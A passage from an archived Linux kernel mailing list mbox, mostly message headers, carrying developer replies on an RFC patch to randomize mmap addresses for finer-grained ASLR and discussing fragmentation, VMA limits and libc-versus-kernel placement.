space to map a contiguous terabyte.

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 16:57:43 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <CAGXu5jLMssDHQORP_BWjmWa+VZ_eqkF_rZc1J6mHYCNbT9cG5A@mail.gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
 <20180327234904.GA27734@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522194962 10683 195.159.176.226 (27 Mar 2018 23:56:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 23:56:02 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>, Ilya Smith <blackzert@gmail.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hugh
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 01:55:53 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f0yRV-0002Xn-2j
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 01:55:53 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=54VIPl9p2Z6Z0FtzHs3So+lW/CvLvYlEev84tAnmMKw=; b=iaBz4zrdjLoUPs
	NzFrKdbe5TdcqJFZZVdq7mbjvhtAn7ucBnJf1MIonVV0czsO3pr/Ijt0rSuC2WyAS6yGLdpKOAzDp
	W9cn3OokY5uq+aZ+898n1Y+03p43mZ+C1/CoGocxpusi6wXPb75tYhvMjotypoqSWPhAswjJ/jKHB
	Bp17cOcdiM9+FAYS1XDwTnn0gV7KpcCSmLzJoXK3KMDA1E13kA2+zXZi8Zd4JHAvp3DdZiaQKcLGD
	ThwZWpKpt7SNO2OEy2j47R3SEXITnCtPN2S9Ym82oKU0Uzy94vd4KGfF4AW304lprxt2XZsgPCRfv
	QtKjpeWdeAyh+ama71Ww==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f0yTY-0003I2-0S; Tue, 27 Mar 2018 23:58:00 +0000
Original-Received: from mail-vk0-x243.google.com ([2607:f8b0:400c:c05::243])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f0yTU-0003Ge-Rq
 for linux-snps-arc@lists.infradead.org; Tue, 27 Mar 2018 23:57:58 +0000
Original-Received: by mail-vk0-x243.google.com with SMTP id q198so396997vke.3
 for <linux-snps-arc@lists.infradead.org>; Tue, 27 Mar 2018 16:57:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=wFkkDx3cFYbP1YPKsvhztLJJm/CeWnrd+qNyVU5tAaM=;
 b=Z5w1zQwsp01KcK76BPtVMHxheh6LuINhiptq5OpBfUbmp51oPZpRbTdRklVC/Uh6Ne
 UUbVno7EzT9YVqZ81qBF+F4hffOkBEAZ0PC9XON2p8oF6SpAzoRXxJ/x5ChNH50ZSQAX
 CmraJy6Z7Nd7H//DnI+qsGMRYZ7+z3iiztRVN/pdPJQcMPZk8CLvaIZyrUq/m2AnZaS4
 3NZsRYPYtnk189UA3He5tnzuraLwuizSRJmuYoVbgkzW0H6rhjVNGub798XqNcCr0aoF
 CIQ6fPaS/D04FrTFTlgf94QvsZACFaIf886nAtycYyFdyyOfLOGqmdFV8YAINcrPwqc0
 +6oQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=wFkkDx3cFYbP1YPKsvhztLJJm/CeWnrd+qNyVU5tAaM=;
 b=ZBjYivxTF5d42jWlIatjnoNDDmbRXk4nLnPk86/aR2jvafpcW2LDc35bxEJRRSvN0Y
 a/MqLSLtOGfBW+dm2XaQRIcEsjpmz4T5V6MqNd91OkdN6gfV2scSP8jb5v2x753qHelO
 fpNN2GG7L00doQKJYRkU35hAqTJplNl+sDmBU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=wFkkDx3cFYbP1YPKsvhztLJJm/CeWnrd+qNyVU5tAaM=;
 b=jxFofAws6JyHN1bFdSulxM9u+t5qwFQaFjw+6MSBy0ccvvJXe3Yuvrr17DcS1AO0yc
 dG4EXqdGT9nhMzfaInMX+DP9vZVyRD2JkcB5DHvcMWtbHQG3jwvpIdJxQGq7bCDiq9LX
 lAKPglceFP/wNJBjbA37Qq4tZosDEDSRShISYBZf8G9hffS78JMp2poJsZWNb6qzOfpF
 4kSO0uhqjQ0W9AqIIxnxjpwoEBGd5a2MH0yLFpKtJkp46thAVOa+op6ksoL4eNxPKoPi
 51MFsiVAzlm7LpDupwRU4fytxAVmii0PzG0WBOnm1Exf1mZss2nb8x7Ml0UAipS9UsWn
 igDg==
X-Gm-Message-State: AElRT7EazrZNZReIL6l0W3hjnDU0ObzhpPrpt43ddAEc3dKGdPyXnGiw
 Y7KZcN2tI+Igo3w3lC+uOJfDcTha2/iewtM2H9d8dg==
X-Google-Smtp-Source: AIpwx4/Kz2w+gTM7wgMR3ChYa+r1AFRmm/lgqI+CJRssMZZMJAeyJtwBiHsKSoBIvuofeLnJlKJZ4hmRGc/ZytVfisU=
X-Received: by 10.31.47.147 with SMTP id v141mr959582vkv.121.1522195064223;
 Tue, 27 Mar 2018 16:57:44 -0700 (PDT)
Original-Received: by 10.31.129.9 with HTTP; Tue, 27 Mar 2018 16:57:43 -0700 (PDT)
In-Reply-To: <20180327234904.GA27734@bombadil.infradead.org>
X-Google-Sender-Auth: Zq1XJoS4_RCwnw_1jWSUriwcN-I
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180327_165757_557931_DEA922FA 
X-CRM114-Status: GOOD (  14.14  )
X-Spam-Score: 0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400c:c05:0:0:0:243 listed in] [list.dnswl.org]
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3681 gmane.linux.ports.mips.general:64243 gmane.linux.ports.sh.devel:56744 gmane.linux.kernel.mm:192452 gmane.linux.ports.sparc:27489 gmane.linux.ports.ia64:28753 gmane.linux.ports.alpha:4883 gmane.linux.ports.parisc:28424 gmane.linux.kernel:2727071 gmane.linux.kernel.metag:1724 gmane.linux.ports.ppc64.devel:155293
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3681>

On Tue, Mar 27, 2018 at 4:49 PM, Matthew Wilcox <willy@infradead.org> wrote:
> On Tue, Mar 27, 2018 at 03:53:53PM -0700, Kees Cook wrote:
>> I agree: pushing this off to libc leaves a lot of things unprotected.
>> I think this should live in the kernel. The question I have is about
>> making it maintainable/readable/etc.
>>
>> The state-of-the-art for ASLR is moving to finer granularity (over
>> just base-address offset), so I'd really like to see this supported in
>> the kernel. We'll be getting there for other things in the future, and
>> I'd like to have a working production example for researchers to
>> study, etc.
>
> One thing we need is to limit the fragmentation of this approach.
> Even on 64-bit systems, we can easily get into a situation where there isn't
> space to map a contiguous terabyte.

FWIW, I wouldn't expect normal systems to use this. I am curious about
fragmentation vs entropy though. Are workloads with a mis of lots of
tiny allocations and TB-allocations? AIUI, glibc uses larger mmap()
regions for handling tiny mallocs().

-Kees

-- 
Kees Cook
Pixel Security

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 20:00:25 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20180328000025.GM1436@brightrain.aerifal.cx>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
 <20180327234904.GA27734@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522195354 2808 195.159.176.226 (28 Mar 2018 00:02:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 00:02:34 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>, Ilya Smith <blackzert@gmail.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hughd@google.com>,
 Russell King <li
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 02:02:24 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f0yXo-0000XD-6P
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 02:02:24 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=hLgVbEqPsYGuzov6I4gqqTQaVyNH65wk99KvSBMlrA8=; b=AkrtgCMY2ScLjB
	xDn4RNYEGFLXKQLSQGk4Jxf/bbYelCjMUGfzA+VwlRODJHB/BXBNW77wD65/qrCQzQhcjlfCpK6vN
	i52JYm74AlxTLLVyNh9fvmq7Bw3gBN5JPBJXfFuXOqy2sBLfvYcFI6UcLJ4uCM8Br4SVaCHadDH+/
	s7rubFKMdeB5q3n07+oQS7CRt8n/+NVe7pcvgQUTI8jGUrcz05zNt4kBUy1GhbdRbRl2Qrt5w5bAL
	d5ZNkAb8S6VJ3qzt3LTnIBDBBBqGFvud8dHtGNJpkmrppl/+64uUcPeD34mnWgJyeFOemzf6ExxAv
	X8RI21OMHLAyUmraoFsw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f0yZr-00058E-86; Wed, 28 Mar 2018 00:04:31 +0000
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]
 helo=brightrain.aerifal.cx)
 by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f0yZo-00053h-RQ
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 00:04:30 +0000
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
 id 1f0yVt-0002bx-00; Wed, 28 Mar 2018 00:00:25 +0000
Content-Disposition: inline
In-Reply-To: <20180327234904.GA27734@bombadil.infradead.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180327_170429_062713_C953A113 
X-CRM114-Status: GOOD (  14.12  )
X-Spam-Score: 0.6 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 TVD_RCVD_IP            Message was received from an IP address
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 0.4 RDNS_DYNAMIC           Delivered to internal network by host with
 dynamic-looking rDNS
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3683 gmane.linux.ports.mips.general:64244 gmane.linux.ports.sh.devel:56745 gmane.linux.kernel.mm:192453 gmane.linux.ports.sparc:27490 gmane.linux.ports.ia64:28754 gmane.linux.ports.alpha:4884 gmane.linux.ports.parisc:28425 gmane.linux.kernel:2727073 gmane.linux.kernel.metag:1725 gmane.linux.ports.ppc64.devel:155294
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3683>

On Tue, Mar 27, 2018 at 04:49:04PM -0700, Matthew Wilcox wrote:
> On Tue, Mar 27, 2018 at 03:53:53PM -0700, Kees Cook wrote:
> > I agree: pushing this off to libc leaves a lot of things unprotected.
> > I think this should live in the kernel. The question I have is about
> > making it maintainable/readable/etc.
> > 
> > The state-of-the-art for ASLR is moving to finer granularity (over
> > just base-address offset), so I'd really like to see this supported in
> > the kernel. We'll be getting there for other things in the future, and
> > I'd like to have a working production example for researchers to
> > study, etc.
> 
> One thing we need is to limit the fragmentation of this approach.
> Even on 64-bit systems, we can easily get into a situation where there isn't
> space to map a contiguous terabyte.

The default limit of only 65536 VMAs will also quickly come into play
if consecutive anon mmaps don't get merged. Of course this can be
raised, but it has significant resource and performance (fork) costs.

Rich

From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 23:50:02 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <7e41ef7a-0bac-02fe-21fd-a1ed86c22230@landley.net>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <20180323180024.GB1436@brightrain.aerifal.cx>
 <20180323190618.GA23763@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522212504 28272 195.159.176.226 (28 Mar 2018 04:48:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 04:48:24 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Ilya Smith <blackzert@gmail.com>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        jhogan@kernel.org, ralf@linux-mips.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, mhocko@suse.com, hughd@google.com,
        kstewart@linuxfoundation.org, pombredanne@nexb.com,
        akpm@linux-foundation.org, steve.capper@arm.com,
        punit.agrawal@arm.com, paul.burton@mips.com,
To: Matthew Wilcox <willy@infradead.org>, Rich Felker <dalias@libc.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 28 06:48:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f130O-00078U-IT
	for glk-linux-kernel-4@m.gmane.org; Wed, 28 Mar 2018 06:48:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751403AbeC1EuO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 28 Mar 2018 00:50:14 -0400
Original-Received: from mail-it0-f65.google.com ([209.85.214.65]:53116 "EHLO
        mail-it0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751200AbeC1EuK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 28 Mar 2018 00:50:10 -0400
Original-Received: by mail-it0-f65.google.com with SMTP id k135-v6so2032699ite.2
        for <linux-kernel@vger.kernel.org>; Tue, 27 Mar 2018 21:50:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=landley-net.20150623.gappssmtp.com; s=20150623;
        h=subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-language:content-transfer-encoding;
        bh=enV9j3dbSLXmAE1CBSurMgsE0cKUXCQgdF0KSwOCHnE=;
        b=PvZKSr/5lu8kkzPgJFwDeGIIgehcO0pJMExSOQMvX1d07pqNd7BKWSDlCMlmV8FKqL
         pYuI0stPRaIycQKFf/1mCSl4SmbMnFufKPdGkVgOtBP4ELyxEthTyLyufmxxGDplntUo
         Uc5nHc2odODWMwDtXS2rK/9lvN/KvcXESpybSTerrNWKr1+JdLwtMtyFrUGSUKlCudcz
         zMMODKhjexRgusrmIQo5wLin8V8ssj+IjQ3nnfseZM071AsxJhua+0iH2GmFA6KIUNxZ
         RRh8LiocKOUL/T45FwidmdEV4AsktUfHP+o7qscoicCsEUFq4SljN0uihSUFYfs2KIHT
         78JQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=enV9j3dbSLXmAE1CBSurMgsE0cKUXCQgdF0KSwOCHnE=;
        b=SwyHJXP/jwOBQqAGs/d6aQbvFvyULhJ7N0ByTgmLexsANulLMU3uV5JvvQ65Fw1i6K
         V5ffeZopZn150Z/pwaL+yv4IV0IH5aP4FTqfLvY+W+YmryR9T72bjXnhga8KbH54lsb0
         xqcxTeG3/jGyUsRgTlCKMXKsVzdlTYfilmbDRd8kxaoHT7UAnaya65alkoh17WoTmC/y
         HFwY5wyUVvZAKCL4N08LUaXXKSXqp/CJNYM8i8kG66eGUHx10l2WozQaF6AW9z19A1gG
         dkwKO/+NJXQ2lwPogrPGtCfA8PFyn79AoZ99zMUafHuyOlRbGrXZyoyG0/+/ZAexUpkA
         e+bw==
X-Gm-Message-State: AElRT7HlZQDihLszcn+FHfF3hCVHZRYl3insrxEDInbg9FroqG1ard/C
        7BzeKrT9TqxFwtxVCIt04na4ag==
X-Google-Smtp-Source: AIpwx4/pc1kbDb3jsikbAw35hWxe/fTYfVZJKliV1NwBrBfYuQEbCWfXGgw+29+c9lIuZBaZlXRdtg==
X-Received: by 2002:a24:195:: with SMTP id 143-v6mr1970811itk.35.1522212609695;
        Tue, 27 Mar 2018 21:50:09 -0700 (PDT)
Original-Received: from [192.168.43.158] ([172.58.140.121])
        by smtp.googlemail.com with ESMTPSA id z125-v6sm1998486itb.2.2018.03.27.21.50.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 27 Mar 2018 21:50:09 -0700 (PDT)
In-Reply-To: <20180323190618.GA23763@bombadil.infradead.org>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727175 gmane.linux.ports.alpha:4885 gmane.linux.kernel.arc:3684 gmane.linux.ports.arm.kernel:641325 gmane.linux.ports.ia64:28755 gmane.linux.kernel.metag:1726 gmane.linux.ports.mips.general:64245 gmane.linux.ports.parisc:28426 gmane.linux.ports.ppc64.devel:155312 gmane.linux.ports.sh.devel:56746 gmane.linux.ports.sparc:27491 gmane.linux.kernel.mm:192461
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727175>

On 03/23/2018 02:06 PM, Matthew Wilcox wrote:
> On Fri, Mar 23, 2018 at 02:00:24PM -0400, Rich Felker wrote:
>> On Fri, Mar 23, 2018 at 05:48:06AM -0700, Matthew Wilcox wrote:
>>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
>>>> Current implementation doesn't randomize address returned by mmap.
>>>> All the entropy ends with choosing mmap_base_addr at the process
>>>> creation. After that mmap build very predictable layout of address
>>>> space. It allows to bypass ASLR in many cases. This patch make
>>>> randomization of address on any mmap call.
>>>
>>> Why should this be done in the kernel rather than libc?  libc is perfectly
>>> capable of specifying random numbers in the first argument of mmap.
>>
>> Generally libc does not have a view of the current vm maps, and thus
>> in passing "random numbers", they would have to be uniform across the
>> whole vm space and thus non-uniform once the kernel rounds up to avoid
>> existing mappings.
> 
> I'm aware that you're the musl author, but glibc somehow manages to
> provide etext, edata and end, demonstrating that it does know where at
> least some of the memory map lies.

You can parse /proc/self/maps, but it's really expensive and disgusting.

Rob


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.uml.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/16] initrd: Add generic code path for common initrd
 unloading logic.
Date: Wed, 28 Mar 2018 05:04:40 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20180328120440.GB1838@infradead.org>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180324174458.26423-2-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
